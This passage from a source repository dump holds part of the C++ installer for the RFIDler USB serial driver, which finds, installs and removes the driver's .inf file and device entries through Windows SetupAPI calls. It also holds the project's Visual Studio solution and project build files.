TRUE;\n    }\n\n    pCMP_WaitNoPendingInstallEvents =\n        (CMP_WAITNOPENDINGINSTALLEVENTS_PROC)GetProcAddress(hModule,\n                                             \"CMP_WaitNoPendingInstallEvents\");\n    if(!pCMP_WaitNoPendingInstallEvents)\n    {\n        // We're running on a release of the operating system that doesn't supply this function.\n        // Trust the operating system to suppress AutoRun when appropriate.\n        return TRUE;\n    }\n    return (pCMP_WaitNoPendingInstallEvents(dwTimeout) == WAIT_OBJECT_0);\n}\n\n\n/* look for rfidlercdc.inf already present in %windir%\\inf\n   Only works on Windows XP.\n\n   Not found => search to identify corresponding OEM<random number>.inf\n   that Windows renamed the file to on install.\n*/\nwchar_t *FindInstalledInf(HWND hWndMain)\n{\n    //HDEVINFO DeviceInfoSet;\n    HKEY hClassKey;\n\n    // try using SetupOpenInfFile to find installed rfidlercdc.inf, should work on Win XP, maybe Vista?\n    HINF hh = SetupOpenInfFile(szRfidlerInfName, NULL, INF_STYLE_WIN4, NULL);\n\n    if (hh != INVALID_HANDLE_VALUE) {\n        SetupCloseInfFile(hh);\n        return _wcsdup(szRfidlerInfName);\n#if _DEBUG\n    } else {\n        PrintDebugStatus(L\"Error: SetupOpenInfFile() (%08X)\", GetLastError());\n#endif\n    }\n\n\n    // Open registry key HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Class\\ + GUID_DEVCLASS_PORTS\n    hClassKey = SetupDiOpenClassRegKey(&GUID_DEVCLASS_PORTS, KEY_READ);\n\n    if (hClassKey) {\n        // Iterate through keys looking for value of MatchingDeviceId == usb\\vid_1d50&pid_6098\n        wchar_t  *infName = NULL;\n\n#define MAX_KEY_LENGTH 255\n        wchar_t  valueBuffer[MAX_KEY_LENGTH];\n        wchar_t  achKey[MAX_KEY_LENGTH];   // buffer for subkey name\n        DWORD    cbName;                   // size of name string\n        wchar_t  achClass[MAX_PATH] = L\"\"; // buffer for class name\n        DWORD    cchClassName = MAX_PATH;  // size of class string\n        DWORD    cSubKeys=0;               // number of subkeys\n        DWORD    cbMaxSubKey;              // longest subkey size\n        DWORD    cchMaxClass;              // longest class string\n        DWORD    cValues;              // number of values for key\n        DWORD    cchMaxValue;          // longest value name\n        DWORD    cbMaxValueData;       // longest value data\n        DWORD    cbSecurityDescriptor; // size of security descriptor\n        FILETIME ftLastWriteTime;      // last write time\n        DWORD i, retCode;\n        BOOL match = FALSE;\n\n        // Get the class name and the value count.\n        retCode = RegQueryInfoKey(\n            hClassKey,               // key handle\n            achClass,                // buffer for class name\n            &cchClassName,           // size of class string\n            NULL,                    // reserved\n            &cSubKeys,               // number of subkeys\n            &cbMaxSubKey,            // longest subkey size\n            &cchMaxClass,            // longest class string\n            &cValues,                // number of values for this key\n            &cchMaxValue,            // longest value name\n            &cbMaxValueData,         // longest value data\n            &cbSecurityDescriptor,   // security descriptor\n            &ftLastWriteTime);       // last write time\n\n        if (ERROR_SUCCESS == retCode) {\n            // Enumerate the subkeys, until matching hwId or RegEnumKeyEx fails.\n            for (i = 0; (i < cSubKeys) && !match; i++) {\n                cbName = MAX_KEY_LENGTH;\n                retCode = RegEnumKeyEx(hClassKey, i, achKey, &cbName, NULL, NULL, NULL, &ftLastWriteTime);\n\n                if (ERROR_SUCCESS == retCode) {\n                    DWORD valtype;\n                    DWORD valsize = sizeof(valueBuffer);\n                    HKEY hKey2;\n\n                    retCode = RegOpenKeyEx(hClassKey, achKey, 0, KEY_READ, &hKey2);\n\n                    if (ERROR_SUCCESS == retCode) {\n                        // get  & compare HardwareId with Rfidler\n                        retCode = RegQueryValueEx(hKey2, L\"MatchingDeviceId\", 0, &valtype, (BYTE*)&valueBuffer, &valsize);\n                        if ((ERROR_SUCCESS == retCode) && (REG_SZ == valtype) && (0 == _wcsicmp(valueBuffer, szRfidlerHardwareId))) {\n                            match = TRUE; // exit loop\n                            valsize = sizeof(valueBuffer);\n\n                            // query value of InfPath to find corresponding installed oem??.inf file name\n                            retCode = RegQueryValueEx(hKey2, L\"InfPath\", 0, &valtype, (BYTE*)&valueBuffer, &valsize);\n                            if ((ERROR_SUCCESS == retCode) && (REG_SZ == valtype)) {\n                                //PrintDebugStatus(L\"LocationInformation %s\\n\", locationBuffer);\n                                infName = _wcsdup(valueBuffer);\n                            }\n                        }\n\n                        RegCloseKey(hKey2);\n                    }\n\n                    // DEBUG - PrintDebugStatus(L\"(%d) %s %u\\n\", i+1, achKey, retCode);\n                }\n            } // for\n        } // if\n\n#undef MAX_KEY_LENGTH\n\n        RegCloseKey(hClassKey);\n\n        if (infName) {\n            return infName;\n        }\n    }\n\n    /*\n       TODO?\n       Recommended for Windows XP and later versions, use SetupDiBuildDriverInfoList (? maybe SetupDiGetDeviceInstallParams instead)\n       with DeviceInstallParams.FlagsEx set to DI_FLAGSEX_INSTALLEDDRIVER to obtain details about the installed driver.\n       Ref: https://support.microsoft.com/en-gb/kb/813449\n    */\n\n    return NULL;\n}\n\n\nDWORD WINAPI DriverUninstallThreadProc(LPVOID lpParameter)\n{\n    BOOL rfidlerConnected = FALSE;\n    BOOL success = TRUE;\n    InstallInfo *pInsInfo = (InstallInfo *)lpParameter;\n\n    pInsInfo->insError = ERROR_SUCCESS;\n\n    // look for serial ports matching dev, finf out if any Rfidlers are connected\n    rfidlerConnected = UpdateDriverWithAction(pInsInfo, &GUID_DEVCLASS_PORTS,\n        (pInsInfo->uninstallType == IDC_UNINSTALL_ALL_RFIDLERS) ? UninstallAllRfidlers : UninstallNotPresentRfidlers);\n\n    // need to fully uninstall driver?\n    if (pInsInfo->uninstallType == IDC_UNINSTALLDRIVER) {\n        // find & remove the .inf file from the system\n        WPARAM  infState = INF_UNINSTALL_SUCCESS;\n        wchar_t *infPath = NULL;\n\n        if (!rfidlerConnected) {\n            infPath = FindInstalledInf(pInsInfo->hWndMain);\n\n            if (infPath) {\n                if (!SetupUninstallOEMInf(szRfidlerInfName, SUOI_FORCEDELETE, NULL)) {\n                    free(infPath);\n                    success = FALSE;\n                    infState = INF_UNINSTALL_FAIL;\n                    pInsInfo->insError = GetLastError();\n                }\n            } else {\n                success = FALSE;\n                infState = INF_NOT_FOUND;\n                pInsInfo->insError = ERROR_FILE_NOT_FOUND;\n            }\n        } else {\n            success = FALSE;\n            infState = INF_IN_USE;\n            pInsInfo->insError = ERROR_ACCESS_DENIED;\n        }\n\n        PostMessage(pInsInfo->hWndMain, WM_PRIVATE_UNINSTALL_INF, infState, (LPARAM) infPath);\n    }\n\n    /* notify UI thread that we have finished, nb advances prog bar to 100%  */\n    PostMessage(pInsInfo->hWndMain, WM_PRIVATE_UNINSTALL_COMPLETE, success, 0);\n    return pInsInfo->insError;\n}\n\n\n/*\n    Do installation from independent thread to avoid freezing the UI.\n\n    Note: thread created with Windows APIs not C library, so be\n    cautious using C runtime library especially alloc/free.\n */\nDWORD WINAPI DriverInstallThreadProc(LPVOID lpParameter)\n{\n    InstallInfo *pInsInfo = (InstallInfo *)lpParameter;\n    BOOL driverInstalled = FALSE;\n\n    pInsInfo->insError = ERROR_SUCCESS;\n\n    driverInstalled = UpdateDriverForPlugAndPlayDevices(pInsInfo->hWndMain, szRfidlerHardwareId,\n        pInsInfo->infpath, 0, &pInsInfo->rebootRequired);\n\n    if (driverInstalled) {\n        pInsInfo->devConnected = TRUE;\n        // update progress reporting, installed for connected devices\n        PostMessage(pInsInfo->hWndMain, WM_PRIVATE_UPDATE_PROGRESS, UPDATE_CONNECTED, 0);\n    } else {\n        // some issue means driver not fully installed\n        pInsInfo->insError = GetLastError();\n\n        /* ERROR_NO_SUCH_DEVINST (0xE000020B) indicates no currently connected RFIDlers\n            and therefore .inf was not installed.\n            */\n        if (ERROR_NO_SUCH_DEVINST== pInsInfo->insError) {\n            // install .inf file anyway\n            driverInstalled = SetupCopyOEMInfW(pInsInfo->infpath, NULL, SPOST_PATH,\n                SP_COPY_NOOVERWRITE, NULL, 0, NULL, NULL);\n\n            if (!driverInstalled) {\n                // failed\n                pInsInfo->insError = GetLastError();\n                switch (pInsInfo->insError)\n                {\n                case ERROR_FILE_EXISTS:\n                case ERROR_NO_MORE_ITEMS:\n                    driverInstalled = TRUE;\n                    break;\n                default: // no action\n                    break;\n                }\n            } else {\n                pInsInfo->insError = ERROR_SUCCESS;\n                // update progress reporting\n                PostMessage(pInsInfo->hWndMain, WM_PRIVATE_UPDATE_PROGRESS, UPDATE_COPIED, 0);\n            }\n        }\n    }\n\n    if (driverInstalled) {\n        // iterate thru not present devices, ensure they are updated to the new driver on next connect\n        PostMessage(pInsInfo->hWndMain, WM_PRIVATE_UPDATE_PROGRESS, UPDATE_PREVIOUS, 0);\n        (void) UpdateDriverWithAction(pInsInfo, NULL, MarkNotPresentRfidlersForReinstall);\n    }\n\n    /* notify UI thread that we have finished */\n    PostMessage(pInsInfo->hWndMain, WM_PRIVATE_UPDATE_COMPLETE, driverInstalled, 0);\n    return pInsInfo->insError;\n}\n\n\n/*\n   Note:\n   RFIDlers that have a (old/new) driver have class GUID = GUID_DEVCLASS_PORTS.\n   RFIDlers that are not configured have no class GUID, & show as \"other devices\" in Device Manager.\n   So we can search with the GUID during uninstall, but need to search without a GUID, and with\n   DIGCF_ALLCLASSES flag to identify previously connected device node during install.\n   */\nBOOL UpdateDriverWithAction(InstallInfo *pInsInfo, const GUID *classGuid, enum UpdateAction action)\n{\n    BOOL rfidlerConnected = FALSE;\n    HDEVINFO DeviceInfoSet;\n    SP_DEVINFO_DATA DeviceInfoData;\n    DWORD DeviceIndex = 0;\n    ULONG Status, Problem;\n\n\n    DeviceInfoSet = SetupDiGetClassDevs(classGuid, NULL, pInsInfo->hWndMain,\n        classGuid ? 0 : DIGCF_ALLCLASSES);\n\n    if (DeviceInfoSet == INVALID_HANDLE_VALUE) {\n        return FALSE;\n    }\n\n    ZeroMemory(&DeviceInfoData, sizeof(SP_DEVINFO_DATA));\n    DeviceInfoData.cbSize = sizeof(SP_DEVINFO_DATA);\n\n    while (SetupDiEnumDeviceInfo(DeviceInfoSet, DeviceIndex, &DeviceInfoData)) {\n        DeviceIndex++;\n\n        if (CheckHardwareIdMatch(DeviceInfoSet, &DeviceInfoData, szRfidlerHardwareId)) {\n            switch (action) {\n            case MarkNotPresentRfidlersForReinstall:\n                // failure to fetch status => device not present\n                if (CR_SUCCESS != CM_Get_DevNode_Status(&Status, &Problem, (DEVNODE)DeviceInfoData.DevInst, 0)) {\n                    // mark for re-install\n                    MarkDeviceConfigForReinstall(DeviceInfoSet, &DeviceInfoData);\n                } else {\n                    rfidlerConnected = TRUE;\n                 }\n               break;\n\n            case UninstallNotPresentRfidlers:\n                // failure to fetch status => device not present\n                if (CR_SUCCESS != CM_Get_DevNode_Status(&Status, &Problem, (DEVNODE)DeviceInfoData.DevInst, 0)) {\n                    RemoveRfidlerDevice(pInsInfo, DeviceInfoSet, &DeviceInfoData);\n                } else {\n                    rfidlerConnected = TRUE;\n                }\n                break;\n\n            case UninstallAllRfidlers:\n                if (CR_SUCCESS == CM_Get_DevNode_Status(&Status, &Problem, (DEVNODE)DeviceInfoData.DevInst, 0)) {\n                    rfidlerConnected = TRUE;\n                }\n                RemoveRfidlerDevice(pInsInfo, DeviceInfoSet, &DeviceInfoData);\n                break;\n\n            case DebugLogDevice:\n                OutputDebugStringA(\"Found a Rfidler device instance\\n\");\n                break;\n            }\n        }\n    } // while\n\n    SetupDiDestroyDeviceInfoList(DeviceInfoSet);\n\n    // report whether connected Rfidlers were found\n    return rfidlerConnected;\n}\n\n\n// tell Windows to forget an RFIDler device, and release its COM port number\nvoid RemoveRfidlerDevice(InstallInfo *pInsInfo, HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA *pDeviceInfoData)\n{\n    // get the registry key with the device's port settings\n    HKEY devkey = SetupDiOpenDevRegKey(DeviceInfoSet, pDeviceInfoData, DICS_FLAG_GLOBAL, 0, DIREG_DEV, KEY_QUERY_VALUE);\n\n    if (devkey) {\n        //Read the name of the port from the registry\n        wchar_t portnameBuff[16];\n        const wchar_t*  keyname = L\"PortName\";\n        DWORD sizeOut = 16;\n        DWORD type = 0;\n        LSTATUS result = RegQueryValueEx(devkey, keyname, NULL, &type, (LPBYTE)portnameBuff, &sizeOut);\n\n        // tidy up\n        RegCloseKey(devkey);\n\n        // check registry value type, and port is COMxx\n        if ((result == ERROR_SUCCESS) && (REG_SZ == type) && (0 == wcsncmp(portnameBuff, L\"COM\", 3))) {\n            // Determine COM port number, for notification to user via WM_PRIVATE_UNINSTALL_COMPORT\n            unsigned portNumber = wcstoul(portnameBuff + 3, NULL, 10);\n\n            if (portNumber) {\n                PostMessage(pInsInfo->hWndMain, WM_PRIVATE_UNINSTALL_COMPORT, portNumber, 0);\n            }\n\n            // remove the Rfidler\n            if (SetupDiCallClassInstaller(DIF_REMOVE, DeviceInfoSet, pDeviceInfoData)) {\n                // now check whether Windows wants a Reboot to enact changes\n                SP_DEVINSTALL_PARAMS params;\n\n                ZeroMemory(&params, sizeof(SP_DEVINSTALL_PARAMS));\n                params.cbSize = sizeof(SP_DEVINSTALL_PARAMS);\n                if (SetupDiGetDeviceInstallParams(DeviceInfoSet, pDeviceInfoData, &params)) {\n                    if (!pInsInfo->rebootRequired && (params.Flags & (DI_NEEDREBOOT | DI_NEEDRESTART))) {\n                        pInsInfo->rebootRequired = TRUE;\n                    }\n                }\n\n                return; // success\n            }\n        }\n    }\n\n    // something failed\n    pInsInfo->insError = GetLastError();\n}\n\n\nBOOL CheckHardwareIdMatch(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA *pDeviceInfoData, const wchar_t *szHardwareId)\n{\n    LPWSTR HwIdBuffer = NULL;\n    DWORD HwIdBufferLen = 0;\n    DWORD RequiredSize = 0;\n    BOOL  match = FALSE;\n    DWORD RegDataType;\n\n    // get the HardwareID property for this device\n    while (!SetupDiGetDeviceRegistryProperty(DeviceInfoSet,\n                                            pDeviceInfoData,\n                                            SPDRP_HARDWAREID,\n                                            &RegDataType,\n                                            (PBYTE)HwIdBuffer,\n                                            HwIdBufferLen,\n                                            &RequiredSize)) {\n        if (HwIdBuffer) {\n            free(HwIdBuffer);\n        }\n\n        if (GetLastError() != ERROR_INSUFFICIENT_BUFFER) {\n            // skip to next device\n            break;\n        }\n\n        HwIdBuffer = (PWSTR) calloc(RequiredSize, 1);\n        HwIdBufferLen = RequiredSize;\n    }\n\n    // sanity checks\n    if (HwIdBuffer && (RegDataType == REG_MULTI_SZ) && (RequiredSize > sizeof(wchar_t))) {\n        LPWSTR idStr;\n        // compare each MULTI_SZ string with reference\n        for (idStr = HwIdBuffer; idStr && *idStr; idStr += (lstrlen(idStr) + 1)) {\n            if (!_wcsicmp(idStr, szHardwareId)) {\n                match = TRUE;\n                break;\n            }\n        }\n    }\n\n    if (HwIdBuffer) {\n        free(HwIdBuffer);\n    }\n    return match;\n}\n\n\nvoid MarkDeviceConfigForReinstall(HDEVINFO DeviceInfoSet, SP_DEVINFO_DATA *pDeviceInfoData)\n{\n    DWORD ConfigFlags = 0;\n    DWORD RegDataType;\n\n    // try to get ConfigFlags value, may not be present\n    (void) SetupDiGetDeviceRegistryProperty(DeviceInfoSet,\n                                         pDeviceInfoData,\n                                         SPDRP_CONFIGFLAGS,\n                                         &RegDataType,\n                                         (PBYTE)&ConfigFlags,\n                                         sizeof(ConfigFlags),\n                                         NULL);\n\n    /* Re-install flag should already be set if no driver\n       was previously installed.\n       */\n    if ( !(ConfigFlags & CONFIGFLAG_REINSTALL)) {\n        // set Device Driver Re-install flag\n        ConfigFlags |= CONFIGFLAG_REINSTALL;\n\n        // just write value, nothing more to do even if it fails\n        (void) SetupDiSetDeviceRegistryProperty(DeviceInfoSet,\n                                         pDeviceInfoData,\n                                         SPDRP_CONFIGFLAGS,\n                                         (PBYTE)&ConfigFlags,\n                                         sizeof(ConfigFlags)\n                                        );\n    }\n}\n\n\nBOOL CheckWindowsVersion(enum WinVersion request)\n{\n    static int gotVerInfo = 0; // 1 => full OSVERSIONINFOEX, 2 => old style OSVERSIONINFO\n    static OSVERSIONINFOEX winVer;\n\n    BOOL checkResult = FALSE;\n\n    if (gotVerInfo == 0) {\n        BOOL success = FALSE;\n\n        // winVer is static so will be initialised to 0\n        winVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFOEX);\n        success = GetVersionEx((LPOSVERSIONINFO) &winVer);\n\n        if (success) {\n            gotVerInfo = 1;\n        } else {\n            // fallback to basic OSVERSIONINFO data\n            winVer.dwOSVersionInfoSize = sizeof(OSVERSIONINFO);\n            success = GetVersionEx((LPOSVERSIONINFO) &winVer);\n            if (success) {\n                gotVerInfo = 2;\n            }\n        }\n    }\n\n    if (gotVerInfo != 0) {\n        switch (request)\n        {\n        case WinAtLeastXP:\n            if (winVer.dwPlatformId == VER_PLATFORM_WIN32_NT) {\n                // Windows XP returns version 5.1 from GetVersionEx\n                if ((winVer.dwMajorVersion > 5) || ((winVer.dwMajorVersion == 5) && (winVer.dwMinorVersion >= 1))) {\n                    checkResult = TRUE;\n                }\n            }\n            break;\n\n        case WinAtLeastVista:\n            if (winVer.dwPlatformId == VER_PLATFORM_WIN32_NT) {\n                // Windows Vista returns version 6.0 from GetVersionEx\n                if (winVer.dwMajorVersion >= 6) {\n                    checkResult = TRUE;\n                }\n            }\n            break;\n\n        case WinAtLeast7:\n            if (winVer.dwPlatformId == VER_PLATFORM_WIN32_NT) {\n                // Windows 7 returns version 6.1 from GetVersionEx\n                if ((winVer.dwMajorVersion > 6) || ((winVer.dwMajorVersion == 6) && (winVer.dwMinorVersion >= 1))) {\n                    checkResult = TRUE;\n                }\n            }\n            break;\n\n        case WinAtLeast8:\n            if (winVer.dwPlatformId == VER_PLATFORM_WIN32_NT) {\n                // Windows 8.0 returns version 6.2 from GetVersionEx\n                if ((winVer.dwMajorVersion > 6) || ((winVer.dwMajorVersion == 6) && (winVer.dwMinorVersion >= 2))) {\n                    checkResult = TRUE;\n                }\n            }\n            break;\n\n        case WinAtLeast10:\n            if (winVer.dwPlatformId == VER_PLATFORM_WIN32_NT) {\n                // Windows 10 returns version 10.0 from GetVersionEx, *but only if Manifested for version 10* otherwise 6.2\n                if (winVer.dwMajorVersion >= 10) {\n                    checkResult = TRUE;\n                }\n            }\n            break;\n\n        default: assert(0);\n        }\n    }\n\n    return checkResult;\n}\n\n\n/* end of file rfidinstall.cpp */"
  },
  {
    "path": "windows-src/RFIDler-install/rfidlerinstall.sln",
    "content": "﻿\nMicrosoft Visual Studio Solution File, Format Version 11.00\n# Visual Studio 2010\nProject(\"{8BC9CEB8-8B4A-11D0-8D11-00A0C91BC942}\") = \"rfidlerinstall\", \"rfidlerinstall.vcxproj\", \"{FC6D1095-16C9-6429-DB9B-DACA750D2188}\"\nEndProject\nProject(\"{2150E333-8FDC-42A3-9474-1A3956D46DE8}\") = \"Solution Items\", \"Solution Items\", \"{483812B7-6B9C-43B2-8D92-0EBDC8EDBE73}\"\n\tProjectSection(SolutionItems) = preProject\n\t\twin-compat.manifest = win-compat.manifest\n\tEndProjectSection\nEndProject\nGlobal\n\tGlobalSection(SolutionConfigurationPlatforms) = preSolution\n\t\tDebug|Win32 = Debug|Win32\n\t\tDebug|x64 = Debug|x64\n\t\tRelease|Win32 = Release|Win32\n\t\tRelease|x64 = Release|x64\n\tEndGlobalSection\n\tGlobalSection(ProjectConfigurationPlatforms) = postSolution\n\t\t{FC6D1095-16C9-6429-DB9B-DACA750D2188}.Debug|Win32.ActiveCfg = Debug|Win32\n\t\t{FC6D1095-16C9-6429-DB9B-DACA750D2188}.Debug|Win32.Build.0 = Debug|Win32\n\t\t{FC6D1095-16C9-6429-DB9B-DACA750D2188}.Debug|x64.ActiveCfg = Debug|x64\n\t\t{FC6D1095-16C9-6429-DB9B-DACA750D2188}.Debug|x64.Build.0 = Debug|x64\n\t\t{FC6D1095-16C9-6429-DB9B-DACA750D2188}.Release|Win32.ActiveCfg = Release|Win32\n\t\t{FC6D1095-16C9-6429-DB9B-DACA750D2188}.Release|Win32.Build.0 = Release|Win32\n\t\t{FC6D1095-16C9-6429-DB9B-DACA750D2188}.Release|x64.ActiveCfg = Release|x64\n\t\t{FC6D1095-16C9-6429-DB9B-DACA750D2188}.Release|x64.Build.0 = Release|x64\n\tEndGlobalSection\n\tGlobalSection(SolutionProperties) = preSolution\n\t\tHideSolutionNode = FALSE\n\tEndGlobalSection\nEndGlobal\n"
  },
  {
    "path": "windows-src/RFIDler-install/rfidlerinstall.vcxproj",
    "content": "<?xml version=\"1.0\" encoding=\"utf-8\"?>\n<Project DefaultTargets=\"Build\" ToolsVersion=\"4.0\" xmlns=\"http://schemas.microsoft.com/developer/msbuild/2003\">\n  <ItemGroup Label=\"ProjectConfigurations\">\n    <ProjectConfiguration Include=\"Debug|Win32\">\n      <Configuration>Debug</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Debug|x64\">\n      <Configuration>Debug</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|Win32\">\n      <Configuration>Release</Configuration>\n      <Platform>Win32</Platform>\n    </ProjectConfiguration>\n    <ProjectConfiguration Include=\"Release|x64\">\n      <Configuration>Release</Configuration>\n      <Platform>x64</Platform>\n    </ProjectConfiguration>\n  </ItemGroup>\n  <PropertyGroup Label=\"Globals\">\n    <Keyword>Win32Proj</Keyword>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.Default.props\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>true</UseDebugLibraries>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"Configuration\">\n    <ConfigurationType>Application</ConfigurationType>\n    <UseDebugLibraries>false</UseDebugLibraries>\n  </PropertyGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.props\" />\n  <ImportGroup Label=\"ExtensionSettings\">\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\" Label=\"PropertySheets\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Label=\"PropertySheets\" Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <ImportGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\" Label=\"PropertySheets\">\n    <Import Project=\"$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props\" Condition=\"exists('$(UserRootDir)\\Microsoft.Cpp.$(Platform).user.props')\" Label=\"LocalAppDataPlatform\" />\n  </ImportGroup>\n  <PropertyGroup Label=\"UserMacros\" />\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <LinkIncremental>true</LinkIncremental>\n    <LibraryPath>$(VCInstallDir)lib;$(VCInstallDir)atlmfc\\lib;$(WindowsSdkDir)lib;$(FrameworkSDKDir)\\lib;C:\\WinDDK\\7600.16385.1\\lib\\win7\\i386</LibraryPath>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <LinkIncremental>true</LinkIncremental>\n    <LibraryPath>$(VCInstallDir)lib\\amd64;$(VCInstallDir)atlmfc\\lib\\amd64;$(WindowsSdkDir)lib\\x64;C:\\WinDDK\\7600.16385.1\\lib\\win7\\amd64</LibraryPath>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <LinkIncremental>false</LinkIncremental>\n    <LibraryPath>$(VCInstallDir)lib;$(VCInstallDir)atlmfc\\lib;$(WindowsSdkDir)lib;$(FrameworkSDKDir)\\lib;C:\\WinDDK\\7600.16385.1\\lib\\win7\\i386</LibraryPath>\n    <TargetName>rfidlerinstall-x86</TargetName>\n  </PropertyGroup>\n  <PropertyGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <LinkIncremental>false</LinkIncremental>\n    <LibraryPath>$(VCInstallDir)lib\\amd64;$(VCInstallDir)atlmfc\\lib\\amd64;$(WindowsSdkDir)lib\\x64;C:\\WinDDK\\7600.16385.1\\lib\\win7\\amd64</LibraryPath>\n    <TargetName>rfidlerinstall-x64</TargetName>\n  </PropertyGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|Win32'\">\n    <ClCompile>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>\n      <WarningLevel>Level3</WarningLevel>\n      <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>\n      <Optimization>Disabled</Optimization>\n    </ClCompile>\n    <Link>\n      <TargetMachine>MachineX86</TargetMachine>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <SubSystem>Windows</SubSystem>\n      <AdditionalManifestDependencies>\n      </AdditionalManifestDependencies>\n      <UACExecutionLevel>RequireAdministrator</UACExecutionLevel>\n    </Link>\n    <Manifest>\n      <AdditionalManifestFiles>win-compat.manifest</AdditionalManifestFiles>\n    </Manifest>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Debug|x64'\">\n    <ClCompile>\n      <PreprocessorDefinitions>WIN32;_DEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <RuntimeLibrary>MultiThreadedDebugDLL</RuntimeLibrary>\n      <WarningLevel>Level3</WarningLevel>\n      <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>\n      <Optimization>Disabled</Optimization>\n    </ClCompile>\n    <Link>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <SubSystem>Windows</SubSystem>\n      <UACExecutionLevel>RequireAdministrator</UACExecutionLevel>\n    </Link>\n    <Manifest>\n      <AdditionalManifestFiles>win-compat.manifest</AdditionalManifestFiles>\n    </Manifest>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|Win32'\">\n    <ClCompile>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>\n      <WarningLevel>Level3</WarningLevel>\n      <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>\n    </ClCompile>\n    <Link>\n      <TargetMachine>MachineX86</TargetMachine>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <SubSystem>Windows</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <AdditionalManifestDependencies>\n      </AdditionalManifestDependencies>\n      <UACExecutionLevel>RequireAdministrator</UACExecutionLevel>\n    </Link>\n    <Manifest>\n      <AdditionalManifestFiles>win-compat.manifest</AdditionalManifestFiles>\n    </Manifest>\n  </ItemDefinitionGroup>\n  <ItemDefinitionGroup Condition=\"'$(Configuration)|$(Platform)'=='Release|x64'\">\n    <ClCompile>\n      <PreprocessorDefinitions>WIN32;NDEBUG;_WINDOWS;%(PreprocessorDefinitions)</PreprocessorDefinitions>\n      <RuntimeLibrary>MultiThreadedDLL</RuntimeLibrary>\n      <WarningLevel>Level3</WarningLevel>\n      <DebugInformationFormat>ProgramDatabase</DebugInformationFormat>\n    </ClCompile>\n    <Link>\n      <GenerateDebugInformation>true</GenerateDebugInformation>\n      <SubSystem>Windows</SubSystem>\n      <EnableCOMDATFolding>true</EnableCOMDATFolding>\n      <OptimizeReferences>true</OptimizeReferences>\n      <UACExecutionLevel>RequireAdministrator</UACExecutionLevel>\n    </Link>\n    <Manifest>\n      <AdditionalManifestFiles>win-compat.manifest</AdditionalManifestFiles>\n    </Manifest>\n  </ItemDefinitionGroup>\n  <ItemGroup>\n    <ClCompile Include=\"rfidinstall.cpp\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ClInclude Include=\"resource.h\" />\n  </ItemGroup>\n  <ItemGroup>\n    <ResourceCompile Include=\"rfidler-install.rc\" />\n  </ItemGroup>\n  <ItemGroup>\n    <None Include=\"rfidinstall.ico\" />\n    <None Include=\"rfidler256.ico\" />\n  </ItemGroup>\n  <Import Project=\"$(VCTargetsPath)\\Microsoft.Cpp.targets\" />\n  